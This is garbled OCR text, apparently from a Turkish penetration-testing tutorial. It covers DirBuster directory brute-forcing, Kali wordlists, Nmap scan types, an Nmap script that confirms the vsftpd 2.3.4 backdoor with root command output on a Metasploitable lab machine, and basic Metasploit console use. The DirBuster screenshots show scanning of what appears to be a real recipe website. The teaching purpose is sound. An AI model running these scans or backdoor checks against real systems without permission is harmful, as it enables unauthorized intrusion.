dizinlere ve daha fazlasina ulasabilirsiniz.

Ahmet Giirel | www.gurelahmet.com
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[ root 01:08, 2016-0 @

File Options About Help Host: kali Uptime: Oh 33m 38s
Target URL {eq http:/fexample.com:80/) 9 : 8.2 6.18
ue

:h.t'tp:Hmu'ﬁ.tesemyeme.kfarif’ler'l. com:BOf

work Method Use GET requests only (5 Auto Switch (HEAD and GET)

Murmnber Of Threads =T} 2 10 Threads [ | Go Faster NAME PID
Xorg 845

conky 1466
: ; vmtoolsd 1282
Select scanning type: (%) List based brute force ) Pure Brute Force s et 1278
File with list of dirsfiles java 5185
|/root/Desktopswordlist | 1€ Browse | | @ List Info |
: RAM

Select starting options: +) Standard start point URL Fuzz

[¥] Brute Ferce Dirs [v] Be Recursive Dir to start with = o
own :

= Up: 6B
1 : — . - D loaded: 63.7MiE Uploaded: 2. i
v| Brute Force Files [] Use Elank Extension File extension oNnLosos L mpLoacm

waordli Down: @B (E/s Up: 6B
2 = Downloaded: OB Uploaded:

=T ' I\ N\ [
Flease complete the test details

Inbpound: ® Outbound: @ Total: @
Inbound Local Service/Port

Qutbound Remote Service/Port




File Options About Help

http:/imuhtesemyemektarifleri. corm: 80/
@ Scan Information ', Results - List Wi

Testing for dirs in /

;I'esting for files in / with extention .php

;I'esting for dirs in jwp-content/

;I'esting for files in fwp-content/ with extention .php
;restlng for dirs in fegi-bins

;restlng for files in fcgi-bins with extention .php
;restlng for dirs in swp-adrmins

Current speed: 33 requests/sec
Average speed: (T) 0, (C) 23 requests/sec

Parse Queue Size: O
Total Requests: 33/42

Time To Finish: ~

00 Pause

Starting dirfile list based brute forcing

[ root D1:10,

1 1% Results - Tree Wiew ', /\ Errors: 0

D |

[ complete |
[ complets |
[ complete |
[ complete |

{Select and right click for more options}

ol | (@ |||

D |

ol

D |

Current number of running threads: 10
Change |

Host: kali Uptime:

MHz:

Down: 3.91KiB KB/s = 1.
Downloaded: 63.9MiE Uploaded: 2.06MiB

N~ WJM [ ad

Down: eB { p: 6B
Downloaded: Uploaded:

N [ ]

Inbpund: @ Outbound: 6 Total: &
Inbound Local Service/Port

Qutbound Remote Service/Port
185.101. http
185.111. : http
185.111.232. http




Bilgi Toplama | Aktif Bilgi Toplama

OWASPE DirBuster 1.0-AC1 - Web Application Brute Forcing

File Options About Help
hittp: ffmubtesemyemektarifler. com: B0/
N-SETE WG NGRS LS DU 27 FRaRY  RESCIESTras Wi Y iy Fiinka |
E_ Directory Stucture | Response Code T Response Size
=272 200 58912 e
| & (3 wp-content 200 I52
B G5 cgi-bin 403 1547
| @ Ca wp-admin an2 735
O wplogin.php 200 5474
‘ # 1 category 77 Eegd
-0 tarif-yolla 200 S50
| -0 cevizli-ncirtatlisitarifi 200 609
&0 sac-katmeri-tarifi 200 G609
E-C3 ev-baklavasi-tarifi Z00 608 !
Lﬁ Ca author T T
@ 3 balli-tahinli-corek-tarifi 200 [5{al=] i
200 &00 -
Current speed: 30 requests/sec {Select and right click for more options)
fverage speed: (T} 0, {C) 29 requests/sec
Farse Queue Size: 0 Current number of running threads; 10
Total Requests: 73/273 | [ change |
Tima To Flnish ~
@5 ][ wreme J[_Osop ] (T Feper ]
Starting dirffile list based brute forcing fcategory/beyaz-et tariflerifwp-admins

Ahmet Giirel | www.gurelahmet.com
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Bilgi Toplama | Wordlist

Bilgi toplamada ve diger bir cok glvenlik araci wordlist kullanir ya da ister. Hig
bilgisi olmayanlar icin wordlist icinde ¢ok sayida kelime barindiran dosyalar
kendiniz bile elle olusturdugunuz 10-100 kelimelik bir text dosyasi wordlist
olarak kabul edilir.Simdi gelelim hedefe uygun isinize yaracak wordlistleri nasil
olusturup nasil bulabilirsiniz?

Crunch adli bir uygulama ile kendi wordlistinizi olusturabilirsiniz yada
Kali Linux'un icinde gelen guzel wordlistlere /usr/share/wordlists/ dizininden

ulasabilirsiniz.
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Bilgi Toplama | Wordli

- im 1] ? n a M wordlists - File Manager

wordlists - File Manager
i~ - ; e -
= - FEile Edit wiew Go Help

ctf.rar Django-1.6

™ jusrisharefwordlists/
Open Parent Home

Burp_Suit... pycharm-...

DEVICES

= —— | = | e

dirbuster metasploit metasploit-jtr seclists

| PLACES
, ; root é % é
r=—

g Floppy Disk

Desktop 10k _rmost_comm dnsmap.txt fasttrack.txt nmap.lst rockyou.txt

E Trash S

wifijamme... Downloads
B vMShare

e rockyou.txt.gz sglmap . txt termineter.txt
M Kali Tools
B Tools
o src
B -
wordlist Ml samba
B TFTP

~ 15 items (204.5 ME), Free space: 12.7 GB

Outbound Remote Service/Port
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Temel Nmap Kullanimi | Nmap Hakkinda

Nmap (Network Map) acik kaynak kodlu gelismis bir guvenlik yazilimidir.

Taranan networkun ag haritasini ¢ikarabilir,calisan servisleri tespit edebilir
kullanilan isletim sistemi bulunabilir.Hatta NSE (Nmap Scripting Engine) ler
kullanarak bazi agikliklar tespit edilebilir,brute force saldirilari
gerceklestirilebilir.

Bir network hakkinda en detayl bilgi toplama araclarindan birisidir.Simdi
Temel Nmap kullanimi ve tarama parametlerini inceleyecegiz.

Nmap konsoldan ¢alismaktadir.Grafiksel arayuz olarak kullanmak icinde
Zenmap adh grafiksel arayuzu bulunmaktadir.Nmap Kalide kurulu olarak
gelmektedir.
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Temel Nmap Kullanimi | Nmap Donen Sonuclar

Nmap bir istemciyi veya sunucuyu bir ¢ok farkli sekilde tarayabilir ve buna goére sonuglar getirir.Bunlar
genelde calisan port,uzeriende calisan servisler ve isletim sistemi bilgisidir.Portlarin durumlar su sekilde
gelebilir:

Open(Acik): Portun erigilebilir oldugu Uzerinde bir uygulamanin TCP yada UDP baglantisi kabul ettigi
durum

Closed(Kapal): Port erigilebilir fakat izerinde uygulama yok TCP yada UDP baglantisi kabul etmiyor
Filtered(Filtreli): Bir paket filtreleme var portun agik kapali durumuna karar veremiyor

Unfiltered(Filtresiz):ACK Scan taramasinda port erigilebilir fakat acik yada kapali durumuna karar
veremiyor

Open | Filtered : UDP, IP Protocol, FIN, Null, Xmas Scan igin Nmap portlarin agik veya filtrelenmis
olduguna karar veremiyor

Closed |Filtered: Idle Scan icin Nmap portlarin kapali veya filtrelenmis olduguna karar veremiyor
S



Temel Nmap Kullanimi

Nmap komut kullanimi:
nmap [tarama turu] [parametresi] [hedef]

Nmap tarama komutu yukaridakine uygun olacaktir Nmap in tarama tarleri
var onlara deginecegiz hedef kismi bir ip adresi,domain yada ip adresi
bulunan bir txt olabilmektedir.

Ahmet Giirel | www.gurelahmet.com
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Temel Nmap Kullanimi | Nmap Tarama Turleri

TCP SYN (half open) Scan:

Hedefe TCP SYN gonderilir
Portlarin kapali oldugu durumlarda hedef makina cevap olarak RST + ACK doner.
Portlarin acik oldugu durumlarda ise hedef makina SYN + ACK bayrakli segment doner.

Son olarak RST bayrakl segment gondererek baglantiyi koparir ve boylelikle TCP Uglu el sikisma

(TCP three-way handshaking) tamamlanmaz. Ve iz birakmaz.

nmap -sS -v 192.168.237.129

Ahmet Giirel | www.gurelahmet.com
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https://tr.wikipedia.org/wiki/TCP
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Temel Nmap Kullanimi | Nmap Tarama Turleri

TCP Connect Scan

Kaynak makinanin gergeklestirecegi TCP Connect Scan,
Kapall portlara yapildigi zaman RST + ACK doner

Acik portlara yapildiginda SYN + ACK gonderir, kaynak makina ACK bayrakli segment gondererek

cevaplar ve Ucli el sikismayi tamamlar.iz birakir.
nmap -sT -v 192.168.237.129

Ahmet Giirel | www.gurelahmet.com
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Temel Nmap Kullanimi | Nmap Tarama Turleri

UDP Scan

UDP portlarini taramak icin kullanilir , ICMP Port Unreachable cevabi donduriliyorsa port kapali

Cevap yoksa open(filtered kabul edilecektir.

UDP paketi donerse port acik kabul edilir.

nmap -sU -v 192.168.227.129

Ahmet Giirel | www.gurelahmet.com



Temel Nmap Kullanimi | Nmap Tarama Turleri

FIN (stealth) Scan

FIN bayrakli paket gonderilir ,

Hedef makinanin kapali bir portuna gelirse

Hedef makina RST + ACK bayrakli paket dondurecektir.

Eger acik portuna gelirse hedef makinadan herhangi bir tepki ddnmeyecektir.

nmap -sF -v 192.168.237.129
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Temel Nmap Kullanimi | Nmap Tarama Turleri

ACK Scan

Bu tarama turinde kaynak makina hedef makinaya TCP ACK bayrakli paket gonderir.

Eger hedef makina ICMP Destination Unreachable mesajini donerse ya da hedef makinada bu

taramaya karsilik herhangi bir tepki olusmazsa port “filtered” olarak kabul edilir.

Eger hedef makina RST bayrakl paket dondururse port “unfiltered” kabul edilir.

nmap -sA -v 192.168.237.129
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Temel Nmap Kullanimi | Nmap Tarama Turleri

Xmas Scan

Kaynak bilgisayarin TCP segmentine URG,PSH ve FIN bayraklarini set edecegi ("1" yapilacagi) paket

hedef makinaya gonderilir.
Egder Kaynak makinanin gonderecedi URG,PSH ve FIN bayrakli paket,

Hedef makinanin kapal bir portuna gelirse hedef makina RST + ACK bayrakli paket dondurecektir.

Eger port acik olursa hedef makinadan herhangi bir tepki ddnmeyecektir.

nmap -sX -v 192.168.237.129
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Temel Nmap Kullanimi | Nmap Tarama Turleri

Null Scan

Kaynak makinanin gonderecegi bayraksiz paketler karsisinda hedef makinanin verecegi tepkiler

FIN Scan ile aynidir.
Hedef makinanin kapali bir portuna gelirse hedef makina RST + ACK doner

Eger port acik olursa hedef makinadan herhangi bir tepki donmeyecektir.
nmap -sN -v 192.168.237.129
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Temel Nmap Kullanimi | Nmap Tarama Turleri

Ping Scan
Bu tarama turtunde tek bir ICMP Echo istek paketi gonderir.

IP adresi erigilebilir ve ICMP filtreleme bulunmadigi surece, hedef makina ICMP Echo cevabi

dondurecektir,
Egder hedef makina erisilebilir degilse veya paket filtreleyici ICMP paketlerini filtreliyorsa,
Hedef makinadan herhangi bir cevap donmeyecektir.

nmap -sP -v 192.168.237.129

Ahmet Giirel | www.gurelahmet.com
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Temel Nmap Kullanimi | Nmap Tarama Turleri

IP Protocol Scan
Bu tarama turu standart NMAP tarama turlerinden biraz farkhdir.

Bu tarama turinde hedef makinalarin tGzerlerinde galisan IP tabanli protokoller tespit edilmektedir.
Bu ylzden bu tarama turtine tam anlamiyla bir port taramasi demek mumkun degildir. Hedef
makina Uzerinde, taramasini yaptigimiz IP protokolu aktif haldeyse hedef makinadan bu taramaya
herhangi bir cevap gelmeyecektir. Hedef makina Uzerinde, taramasini yaptigimiz IP protokoll aktif
halde degilse hedef makinadan bu taramaya, tarama yapilan protokolun tarine gore degisebilen

RST bayrakh (RST bayragi "1" yapilmis) bir segment cevap olarak gelecektir.

nmap -sO -v 192.168.237.129

Ahmet Giirel | www.gurelahmet.com
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Temel Nmap Kullanimi | Nmap Tarama Turleri

Window Scan
Window Scan, ACK Scan turine benzer ancak bir onemli farki vardir.

Window Scan portlarin acgik olma durumlarini yani “open” durumlarini gosterebilir. Bu taramanin
ismi TCP Windowing isleminden gelmektedir. Bazi TCP yiginlari, RST bayrakli segmentlere cevap
dondurecegi zaman, kendilerine 6zel window boyutlari saglarlar. Hedef makinaya ait kapali bir

porttan donen RST segmentine ait window boyutu sifirdir.
Hedef makinaya ait acik bir porttan donen RST segmentine ait window boyutu sifirdan farkl olur.

nmap -sW -v 192.168.237.129
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Temel Nmap Kullanimi | Zenmap

& @ B & zermap B Zenmap [ root 11:32, 2016-0?-23

Uptime: Oh 2m 1ls
Zenmap TS (=]

Scan Tools Profile Help
Target: 192.168.237.129 Profile:  Regular scan

Command: npmap 192.168.237.129

Hosts Services Mrmap Output ports / Hosts Topology Host Details Scans
Host nmap 192.168.237,129 Details

1892,168.237.1
Starting Nmap 7.901 S /mmap . orgEEEREE 0] 6-07-23
Mmap scan report Tor IRPRERERecybelr
Host is up (0.00011s latency).
977 closed ports

STATE SERVICE

open

open

open

open

open

open
open
open
open

Filter Hosts rmiregistr
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nmap -sS -sV -Pn -top-ports 10 192.168.237.129

-sS: Syn Taramasi -sV : Versiyon bilgisi -Pn: ping atma -top-ports10: en ¢ok kullanilan 10 portu tara

[root: 1# nmap -s5 -sV -Pn

Starting

ocaldomain; 0Ss: Unix, Linux; CPE: cpe:/ rnel

rt any 1inc
= v ek e




nmap -sS -sV -Pn -T4 -p- 192.168.237.129

-sS: Syn Taramasi -sV : Versiyon bilgisi -Pn: ping atma-T4: Tarama hizi hizli bir tarama -p-: tim portlari tara

Reason: 65505 resets
STATE SERVICE REASON VERSIOM
open Ttp syn-ack ttl 64 vsftpd 2.3.4
open  ssh syn-ack ttl 64 OpenSsSH 4.7pl Debian S8ubuntul (protoceol Z.0)
open  telnet syn-ack ttl 64 Linux telnetd
open  smktp 5 : ttl 54 Postfix smtpd
open  domain sy ttl 64 ISC BIND 9.4.2
open  http sy ttl 64 Apache httpd z.z2.8 ({(Ubuntu) DA
open  rpchind -k ttl 84 Z (RPC #100000)
open  netbios- s: sy ttl 54 Samba smbd ¥ (workgroup: WORKGROUR)
open netbios-s: SYN- 2 ttl 64 Samba smbd 3.X (workgroup: WORKGROUR)
open exec sy ttl 54 netkit-rsh rexecd
open  login? / ¢ ttl 84
open tcpwrapped sy tEl 64
open rmireglistry sy ttl 64 GHNU Classpath grmirega
open  shell sy ttl 54 MetaSp101table root
open nfs sy =k ttl 584 2-4 (RPC #100003)
open  Ttp S) ttl 64 ProFTPD 1.3.1
open mysgl v ttl 84 MysSQL S5.0.51la-3ubuntus
open distccd sy ttl 84 distced w1 ((GNU) 4.2.4 (Ubuntu 4.2.4- lubuntud))
open postgresqgl ¢ ttl 84 PostgresSqL DB .8 - B.3.7
open  wnc sy =k ttl 84 VNC (protocol 3.3)
open  X11 sy ttl 64 (access denied)
open  1rc E ttl 84 Unreal ircd (Admin email admin@Metasploitable.lan)
open  1rc : ttl 84 Unreal irecd (Admin email admin@Metasploilitable.lam)
open ajpl3 Sy ttl 84 Apache Jdserv (Protocol wl.3)
open http y ttl 84 fApache Tomcat/Coyote JSP engine 1.1
open drb Sy ttl 64 RBuby DRb BMI (Ruby 1.8; path fusr/Llib/rubys1.8/drb)
open status ' . ttl 84 1 (RPC #100024)
open  mountd sy -k ttl 64 1-2 (RPC #100005)
open  unknown : ttl 54
open nlockmgr ttl 64 1-4 (RPC #100021)
“ddrﬁﬂg: 00:0C: 29:FA:DD: 2A (VMware)
Service Info: Hosts: metasploitable.localdomain, lecalhost; 0Ss: Unix, Linux; CPE: ez el B
linux_kernsl




nmap -sS -A -Pn -0A sonuc 192.168.237.129

-sS: Syn Taramasi -A : Versiyon ve isletim sistemi bilgisi -Pn: ping atma -0A : 3 farkl formatta tarama c¢iktisini kaydeder.
-p- Parametresi olmadigi icin en  cok kullanilan 1000 port taranmistir. -T Parametreside olmadig icin -T3 hizinda taranmistir.

Starting Mmap 7.91 ( https://mnmap.org ) at Z0168-07-
Mmap scan report for 192.168.237.1Z29

Host is up, |ece1.ed arp-response (0.00024s latencyl .
Not shown: 978 closed ports

Reason: 9

PORET ey S WL C EA VERSTI OM

21/ tep upﬁn 54 vstTtpd =2
_ftp-arnon: Anonymous FTP lnqln a1IUWed (FTP code =23

! open ssh syn-ack ttl sS4 Open 7 ebil g Subuntul (protoceol 2.0)
ssh-hostkey:

56:””:;4'0{. 3 I & Dl |1'L4.ﬂd c;.fﬂ
open telnct o;n—dck ttl 54 Linux telnetd
npﬂn ﬂmtp syn-ack ttl S4 Postfix smtpd
metasploitable. localdomain, PIPELIMING, SIZE 10240000, VWRFY, ETRMN, STARTTLS, ERH
SBEITMIME, DS,
dubjﬁct' commoniame=ubuntus8od-base. localdomain/sorganizationhame=0COSA/statedrProvince
Mame=There 1s no such thing cutside US/countryMame=xx
| Mot walid before: Z2010-03-17T14:07:45
_MNot wvalid aftter: 2010-04-15T14: 0745
sL-date: Z0l6-07-24T11:34:35+00:00; 29s from scanner time.
open domain syn-ack ttl & C BIMND 9.4.2
1n3—nsid:
1 ersion: 9.4.2
0/ tep open  http = ck ttl s4 upachﬁ httpd 2.2z.8 ((Uburmtu)
_http—ﬂer.er—header: 2.8 (Ubunmtu) Davs=2
http-ta1tle: MetaSpl)ltahl Linux
1l/tcp  open rpcbhind yn-ack ttl sS4 =2 (RPC #100000)
rpcinfo:
program

0 ——

ersion portsSproto service
111/tecp rpcbind
111 /udp rpchind

Zo49/tcp nts

2049/ udp nfs

————— i ——

MMKNNS

" oa

10 'COO—




nmap --script ftp-vsftpd-backdoor -p 21 192.168.237.129
--script : Nmap scriptlerini kuIIanmam|Z| saglar -p 21: Port 21 de scripti calistirir

# nmap --script Ttp-v

Starting Nmap 7.01 ([ https://nmap.org
Nmap scan report for 192.168.237.129
Host is up, received arp-response (0.00018s latency).
PORET STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
| ftp- rsttpd-backdoor:
VULMNERAEBLE:
vsFTPd version 2.3.4 backdoor
State: VULNERAELE (Exploitable)
IDs: OSVDE: 73573 'xE CVE-2011-2523
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
Disclosure date: “311 07-03
Exploit results:
Shell command: 1d
Fesults: uid=0(root) gid=0(root)
prelence"
'nuar'beaataecullt, blogspot.com/2011/07/alert-vsftpd-download-backdoored. html

Josvdb.org/73573
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vs
ckdoor.rb

|
|
|
|
|
|
|
|
|
|
| :
| i ve.mitre.org/cgl-bin/cvename.cgi?name=CVE-2011- 2523
|
|
p r Y

I 00:0C:29:FA:DD: 28 (VMware)



https://nmap.org/nsedoc/scripts/ftp-vsftpd-backdoor.html

Temel Nmap Kullanimi

Temel Nmap kullanimi bu sekilde olmakla beraber daha detayli 6grenmek isteyenler
icin :

http://www.slideshare.net/cnrkrglu/nmap101-eitim-sunumu-nmap-kullanm-klavuzu

http://www.bga.com.tr/calismalar/nmap guide.pdf

dokumanlarini inceleyebilir.
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Temel Metasploit Kullanimi | Hakkinda

Metasploit,Rapid7 firmasinin ¢cok dnemli bir givenlik yazilimidir.

Metasploit,guvenlik aciklari hakkinda bilgi verip bu acikliklara sizmaya yardimci
olan bir yazilimdir.

Ruby ile yazilmis olan icerisinde exploitler,payloadlar,auxiliaryler ve
encoderlerin bulundugu frameworkdur.

Veritabani olarak postgresql kullanmaktadir.
Kali Linux icerisinde kurulu olarak gelmektedir.
Terminalden msfconsole olarak ve grafiksel olarak Armitage ile kullanilabilir.

Metasploit icinde Nmap taramasida yapilabilmektedir.
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Temel Metasploit Kullanimi | Terimler

Vulnerability: Turkcede zayiflik anlamina gelen sistemde bulunan acikliktir.
Auxiliary: Sizma 6ncesi sistem hakkinda bilgi toplamak icin bulunan ek moduller

Exploit: TUrkcesi somurmek olan sistem acikligindan faydalanarak sisteme sizmamizi
saglayan bilesendir

Payload: Sisteme sizdiktan sonra sistemde istediklerimizi yapmamizi saglayan
bilesendir

Shellcode: Exploitin icinde bulunan zararli kod

Encoder : Exploiti Antivirus,IDS,IPS ve Firewall dan geciren bilesendir
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Temel Metasploit Kullanim | Giris

>

service postgresql start
msfconsole

Ik olarak postgresql veritabanini baslatiyoruz daha sonra msfconsole yazarak
metasploitimizi aglyoruz.

db_status
Komutunu yazarak metasploitin veritabani baglantisini kontrol edebilirsiniz.

db _connect db_disconnect db_import db_export
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R N ﬁ a a [ systemctl start postgres... [ root 15:32, 2016—0?—25“

= ; |  EXPLOIT

‘mst =]

PAYLOAD RN

aking notes in notepad? Have Metasploit Pro track & report
our progress and findings -- learn more on http://rapid?7.com/metaspleit

=[ metasploit v4.11.5-2016010401 ]

-- --=[ 1517 exploits - B75 auxiliary - 257 post ]

-- --=[ 437 payloads - 37 encoders - B nops ]

-- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

st = db_status
1 poitgresql connected to msf




db_nmap -sS -sV -0 192.168.237.129
[ root 1550, 2015-07-25n

=[ metas it v4.11.5-201 13401 S
.- --=[ 1517 expl)lt“ - S auxiliary
-- --=[ 437 payloads - 37 encoders -
e Mﬁt'a_-.plnt Pro trial: http Jfir-7.coftrymsp ]

db_status
postgresgl conne

db_nmap -sS -sVv -0
Nma Starting MNmap 7.01
Mmap: MNmap scan re rt for.lomed:

)
I+ i

] at 2016-07-25 15:50 EDOT

Mmap: Host is up (0.00018s laten
MNmap: Mot shown: 976 closed ports
Mmap : POF\'T WICE
MNmap = npen 2.3.4
Mmap : open 4.7pl Debian Subuntul (protocol 2.0]
Mmap : open telnet Linux telnetd
Mmap : open smtp Postfix
Mmap : open domain = BIND
MNmap : open http ache httpd 2.2.8 (({Ubuntu)
Nmap : open rpcbind (RPC #100000)
Mmap : open netbios mba smbd (workgroup: WORKGROLP)
Nmap : open netbios Samba smbd : (workgroup: WORKGROLP)
Hmap : open exec netkit-rsh rexecd
MNmap = open login?
MNmap : open tcpwrapped
Mmap open rmiregistry GMJ Classpath grmiregistry
open shell Metasploitable root shell
open nfs 2-4 [RPC
open Tftp Pr‘)I:rP[ 1k
open  mysql

copen postgresgl Po.—.tﬂr‘e-OI_ [a=] <jiels [ e e
open  wnec {protocol
open X11 (access denied)

open 1irc Unreal 1recd
open ajpl3 Apache Jserw rotocol w1l .
open http -paché Tamcat/Coyote JSP engine 1.1

open mountrl (RPC #100005)
SS: O00:0C:29:FA:DD:2A (WMware)
type: q@n@ral purpose
Running: I_lnLIx X

| o llnux linux_ker
Cinux 2-8.9 = 2.6
rk Distance: 1 hop
ce Info: Hosts metasploitable. localdomain, localhost, irc.Metasploitable.LAMN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
and Service r|=-t-=-c1:1- n performed. Please report any incorrect results at https ‘mmap.org/submity .
MNmap done: 1 IP address (1 host up) scanned in 16.85 seconds
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help komutu ile Metasploitin tUm komutlarini ve parametreleri aciklamalari ile gdrebilmekteyiz.

S - i ® @ B @ systemctl start postgres... [J root 03:36, 2016—0?—26“

scription

7 Help menu

advanced Displays advanced options for one or more modules
back Mowve back from the current context

banner Display an awesome metasploit banner

c Change the current working directory

color Toggle color

connect Communicate with a host

edit Edit the current module with $VISUAL or SFEDITOR
exlt Exit the console

get Gets the wvalue of a context-specific variable
getg Gets the value of a global wvariable

grep Grep the output of ancther command

help Help menu

info Displays information about one or more modules
irb Drop into irb scripting mode

jobs Displays and manages jobs

kill Kill a job

load Load a framework plugin

Loadpath Searches for and Loads modules from a path

makere e commands entered since start to a file

options Displays global options or for one or more modules

popm Pops the Llatest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
quit Exit the conscle

reload_all Reloads all modules from all defined module paths
rename_job Rename a job

Fun the commands stored in a file

ute traffic through a session

es the active datastores

arches module names and descriptions

ump session listings and display 1nformatlon about sessions
ts a context-specific variable to a walue

ts a global variable to a value

Displays modules of a given type, or all modules

Do nothing for the specified number of seconds

ite console output into a file as well the screen
View and manipulate background threads

threads
unload Unload a framework plugin



\ = . m ﬁ u [ systemctl start postgres...
i

makerc
options
popm
previous
pushm
quit
reload_all
rename_job
resource
route
save
search
sessions
set

setg
show
sleep
spool
threads
unload
unset
unsetg
use
version

Database Backend

Save commands entered since start to a file

Displays global options or for one or more modules

Pops the latest module off the stack and makes 1t active
Sets the previously loaded module as the current module
Pushes the active or list of modules onto the module stack
Exit the conscole

Reloads all modules from all defined module paths

Rename a job

Fun the commands stored in a file

Route traffic through a session

Saves the active datastores

Searches module names and descriptions

Dump session Listings and display information about sessions
Sets a context-specific variable to a wvalue

Sets a global variable to a wvalue

Displays modules of a given type, or all modules

Do nothing for the specified number of seconds

Write console output into a file as well the screen

view and manipulate background threads

Unload a framework plugin

Unsets one or more context-specific variables

Unsets one or more global variables

Selects a module by name

Show the framework and console library wversion numbers

Commands

Command

creds
db_connect
db_disconnect
db_export
db_import
db_nmap
db_rebuild_ca
db_status
hosts

loot

notes
services
vulns
workspace

Description

List all credentials in the database

Connect to an existing database

Disconnect from the current database instance

Export a file containing the contents of the database

Import a scan result file (filetype will be auto-detected)

Executes nmap and records the output automatically
che Rebuilds the database-stored module cache

Show the current database status

List all hosts in the database

List all Lloot in the database

List all notes in the database

List all services in the database

List all vulnerabilities in the database

Switch between database workspaces

B root 03:37, 2016—0?—26“




Temel Metasploit Kullanima

search Komutu

search <aranan exploit,payloads,cve numarasi yada genel bir ifade >

Ahmet Giirel | www.gurelahmet.com
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m m n [ systemctl start postgres...

> search ftp

Matching Modules

REE]

auxiliary/admin/cisco/vpn_3000 ftp_bypass
auxiliary/admin/officescan/tmlisten_traversal
auxiliary/admin/tftp/tftp_transfer_util
auxiliary/dos/ scada’dzo  tTtp_overflow
aux111arwfdoa,wlﬂdOw;:ftp (filezilla admin_user
auxiliary/d ' Tt ilezilla_server_port
uildftp_ CndllSt
auxiliary/ i /11575 _ftpd_i1ac_bof
auxiliary/dos ;Wlndowa,ftpjlla 1ist _exhaustion
auxiliary/dos/ wlnd0wqfftpfsolarftp user
auxiliary/ dos:' ;!
auxiliary/dos/ w cftpsso_list
auxiliary/ do:,wlndOW; ftp,wlnftpz30 nlst

measyS70_nlst
au31llary, b:tftp 'pPt360_write
auxiliary/dos/windows,/tftpssolarwinds
auxiliary/fuzzers/ftp/client_ftp
auxiliary/fuzzers/ftp/ftp_pre_post
auxiliary/gather/apple_safari_ftp_url_coockie theft
auxiliary/gather/d20pass
auxiliary'gather;konica_minolta_pwd_extract
auxiliary/scanner/ftp/anonymous
auxiliary/scanner/ftp/bison_ftp_traversal
aux111ary,acanner;ftp,ftp login
auxiliary/scanner/ftp/ftp_version
auxiliary/scanner/ftp/konica_ftp_traversal
auxiliary/scanner/ftp/pcman_Ttp_traversal
auxiliary/scanner/ftp/titanftp_xcrc_traversal
auxlllary,scanner ‘http/titan_ftp_ admin_pwd
auxiliary/scanner/misc/zenworks_preboot_fileaccess
auxiliary scannerfportscanfftpbounce
auxiliary/scanner/quake/server_info
auxiliary/scanner/rsync/modules_list
auxiliary/scanner/snmp/cisco_config_tftp
auxiliary/scanner/snmp/clsco_upload_file
auxiliary/scanner/ssh/cerberus_sftp_enumusers
auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp
auxiliary/scanner/tftp/netdecision_tftp
auxiliary/scanner/tftp/tftpbrute

Disclosure

2012-01-19
2005-11-07
2006-12-11
2008-10-12
2010-12-21
2009- 09-03
22
14
24
26
g}
2009-03- 27
2008- 10-29
2010-05-21

2015-04-08
2012-01-185

2015-09-28

2015-09- 22
2015-09-28
2010-06- 15

2014-05-27
2011-12-12
2009-05-16

Rank

normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal

B root 0408, 2016—0?—26“

Description

Cisco WPN Concentrator 3000 FTP Unauthorized Administrative Access
TrendMicro OfficeScanMNT Listener Traversal Arbitrary File Access
TFTP File Transfer Utility

General Electric D20ME TFTP Server Buffer Overflow DoS

Filezilla FTP Server Admin Interface Denial of Serwvice

FileZilla FTP Server Malformed PORT Denial of Serwvice

Guild FTPd 0.992.8.11/0.999.14 Heap Corruption

Microsoft IIS FTP Server Encoded Response Overflow Trigger
Microsoft IIS FTP Server LIST Stack Exhaustion

Solar FTP Server Malformed USER Denial of Serwvice
Titan FTP Server &.26.530 SITE WHO DoS

victory FTP Server 5.0 LIST Dos

WinFTP 2.3.0 NLST Denial of Service

XM Easy Personal FTP Server 5.6.0 NLST DoS

XM Easy Personal FTP Se r 5.7.0 NLST DoS
PacketTrap TFTP Server 2.2.5459.0 DoS

Solarwinds TFTP Server 10.4.0.10 Denial of Service

mple FTP Client Fuzzer

Simple FTP Fuzzer

Apple 0SX/10S/Windows Safari MNon-HTTPOnly Cookie Theft
General Electric D20 Password Recov rery
Konica Minolta Password Extractor
Anonymous FTP Access Detection
BisonwWare BisonFTP Server 3.5 Directory
FTP Authentication Scanner

FTP Version Scanner

Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure
PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure

Titan FTP XCRC Directory Traversal Information Disclosure

Titan FTP Administrative Password Disclosure

Movell ZEMworks Configuration Management Preboot Service Remote File Access
FTP Bounce Port Scanner

Gather Quake Server Information

List Rsync Modules

Cisco I0S SNMP Configuration Grabber (TFTPR)

Cisco I0S SHNMP File Upload (TFTPR)

Cerberus FTP Server SFTP Username Enumeration

IpSwitch WhatsUp Gold TFTP Directory Traversal

NetDecision 4.2 TFTP Directory Traversal

TFTP Brute Forcer

Traversal Information Disclosure




Temel Metasploit Kullanim

show Komutu

Istenilen bilesenleri listeyip gérmemizi saglar.

show exploits : Metasploit Uzerindeki tUm exploitleri gésterir
show payloads : Metasploit Uzerindeki tim payloadlari gosterir
show targets : Bulunan targetlari listeler

show options: Exploit yada payloadin tum ayarlarini gosterir.
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m m u [ systemnct| start postgres... 1) [J root 03:52, 2016—0?—26“

mst = show exploits —

Exploits

Name Disclosure Date Rank Description

aix,local ‘1bstat_path 2013- 09-24 excellent 1bstat $PATH Privilege Escalation

aix/rpc_cmsd_opcode2l 2009- 10- 07 great AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer overflow
aix/rpc_ttdbserverd realpath 2009- 06- 17 great ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)
andr01d’browaer’ samsung_knox_smdm_url 2014-11-12 excellent Samsung Galaxy KNOX Android Browser RCE

android/browser /webview_addjavascriptinterface 2012-12-21 excellent Android Browser and wWebView addlavascriptInterface Code Execution
androidﬁfileformatfadobe_reader_pdf_js_interface 2014-04-13 good Adobe Reader for Android addJavascriptInterface Expleit
android/local/futex_requeue 2014-05-03 excellent Android 'Towelroot' Futex Requeus Kernel Exploit

